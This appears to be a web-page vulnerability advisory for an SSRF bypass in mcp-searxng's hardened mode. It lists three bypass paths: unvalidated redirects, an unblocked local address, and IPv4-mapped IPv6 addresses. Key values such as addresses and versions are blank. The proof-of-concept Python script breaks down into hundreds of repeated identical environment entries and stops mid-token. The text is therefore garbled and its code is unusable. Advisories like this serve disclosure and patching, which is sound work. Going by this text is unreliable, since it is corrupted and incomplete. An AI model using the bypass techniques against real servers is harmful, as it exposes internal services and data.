mcp-searxng Hardened-Mode SSRF Bypass: 3 Bypass Paths, CVE-adjacent, with POC

Vulnerability Overview Vulnerability Name: SSRF bypass in hardened-mode Severity: Medium (CVSS 3.1 Score 6.3/10) Vulnerability Type: Server-Side Request Forgery (SSRF) Root Cause: PR #79 fixed some SSRF scenarios, but three bypass paths remain unaddressed: 1. Redirect targets not re-validated: When a non-private address is redirected via 302 to , the redirect target is not re-checked for private addresses. 2. not recognized as an internal address: On Linux, can route to local loopback services, but it is not blocked by the IPv4 private address check. 3. IPv4-mapped IPv6 normalization bypass: IPv4-mapped IPv6 addresses in the format are not properly normalized, allowing them to bypass the private address check. Affected Scope Affected Versions: Fixed Version: Impact: An attacker can craft a specific URL to make the MCP server access a local loopback service (e.g., ) and read internal data (e.g., ). Fix Upgrade to version 1.2.1. In hardened mode, complete private address validation must be applied to redirect targets, , and IPv4-mapped IPv6 addresses. POC Code 1. Local Sentinel Service 2. POC A: ```python cat > /tmp/poc_0_0_0_0.py <<'PY' #!/usr/bin/env python3 import json import subprocess import sys from pathlib import Path MCP = Path("/home/user/Desktop/searxng_pr79_test/pr79") SERVER = "RSP" SENTINEL = "INTERNAL_SECRET_DATA_mcp_searxng_ssrft_path0" ENV = { "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTTP_ADDRESS": "true", "MCP_HTT

Goal Reached Thanks to every supporter — we hit 100%!

mcp-searxng Hardened-Mode SSRF Bypass: 3 Bypass Paths, CVE-adjacent, with POC

More from this source